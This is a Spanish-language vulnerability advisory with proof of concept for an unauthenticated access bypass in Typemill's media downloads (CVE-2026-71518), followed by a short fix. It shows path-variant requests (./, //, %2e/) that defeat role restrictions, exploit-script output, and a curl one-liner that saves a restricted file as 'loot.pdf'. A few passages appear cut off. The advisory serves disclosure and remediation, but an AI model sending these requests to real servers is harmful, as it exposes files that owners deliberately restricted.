
Advisory y PoC para un bypass de autorización no autenticado en las descargas de medios de Typemill, mediante variantes de URL con rutas equivalentes para acceder a archivos restringidos por rol.
La restricción se basa en la ruta de solicitud sin procesar; el archivo se lee desde la ruta resuelta por el sistema operativo — ambas no coinciden
De un vistazo · Resumen · Causa raíz · Cadena de ataque · Exploit · Remediación · Cronología
| ID CVE | CVE-2026-71518 |
| Producto | typemill/typemill — Typemill (CMS PHP de archivos planos, Slim 4) |
| Afectado | todas las versiones < 2.26.0 (verificado en 2.25.0, commit 8f3901c) |
| Corregido en | 2.26.0 |
| Debilidad | CWE-863 (Autorización Incorrecta) · CWE-639 (Omisión de Autorización Mediante Clave Controlada por el Usuario) |
| CVSS v3.1 | 7.5 — Alta · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CVSS v4.0 | 8.7 — Alta |
| Vector | Red · sin autenticación · sin interacción del usuario |
| Impacto | Descarga no autenticada de archivos multimedia que un administrador restringió a un rol privilegiado |
| Investigador | Ilhomjon Rustamov (@IlhomjonR) |
Typemill permite a un administrador restringir archivos multimedia individuales a un rol de usuario específico mediante media/files/filerestrictions.yaml. Se supone que la ruta pública de descarga respeta esa restricción, pero comprueba la restricción contra la ruta de solicitud sin procesar mientras sirve los bytes desde la ruta resuelta por el sistema de archivos. Dado que el mismo archivo tiene muchas formas de ruta equivalentes (./name, //name, %2e/name), un atacante elige una variante que no coincide con la clave de restricción pero que aun así se resuelve al mismo archivo en disco.
La ruta no lleva middleware de autenticación, por lo que el resultado es una descarga totalmente no autenticada de archivos que estaban explícitamente bloqueados para un rol.
La ruta de descarga es pública — no tiene middleware de autenticación:
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');
Dentro de system/typemill/Controllers/ControllerWebDownload.php, la decisión de control de acceso y la lectura del archivo usan dos representaciones diferentes de la misma ruta:
// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
// ... enforce role restriction (redirect to login if not allowed)
}
// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);
validate() solo rechaza una secuencia literal .. — no normaliza ./ ni //, y no rechaza los equivalentes codificados en porcentaje. Por lo tanto, la clave de restricción y el archivo que realmente se lee quedan desincronizados:
| Ruta de solicitud | ¿Coincide la clave de restricción? | Archivo resuelto en disco | Resultado |
|---|---|---|---|
/media/files/secret.pdf | ✅ sí | secret.pdf | 🔒 bloqueado (302 → login) |
/media/files/./secret.pdf | ❌ no | secret.pdf | 🟢 servido (200) |
/media/files//secret.pdf | ❌ no | secret.pdf | 🟢 servido (200) |
/media/files/%2e/secret.pdf | ❌ no | secret.pdf | 🟢 servido (200) |
El error es el clásico patrón de "decisión de autorización y acceso al recurso basados en cadenas diferentes y controlables por el atacante" (CWE-639/CWE-863). $_SERVER['REQUEST_URI'] también permanece sin procesar bajo Apache, por lo que esto no es específico del servidor.
flowchart LR
A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
B --> C{Restriction key<br/>matches raw path?}
C -->|yes| D[302 → login<br/>🔒 blocked]
A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
E --> F{Restriction key<br/>matches raw path?}
F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
G --> H[200 OK<br/>🟢 file leaked]
filerestrictions.yaml.exploit/exploit.py reproduce el problema de principio a fin contra un contenedor de prueba local. (1) Hace que el "admin" publique un archivo privado restringido al rol editor, (2) confirma que la URL canónica está bloqueada para un usuario anónimo y (3) descarga el mismo archivo a través de cada variante de ruta equivalente.
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py
Salida esperada:
[CONTROL] GET /media/files/secret.pdf -> http=302 (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files//secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf -> http=200 leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)
Comando de una sola línea contra cualquier host vulnerable (solo pruebas autorizadas):
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

realpath() y confirme que el archivo está contenido dentro del directorio base de medios antes de leerlo, y rechace los separadores de ruta codificados en porcentaje.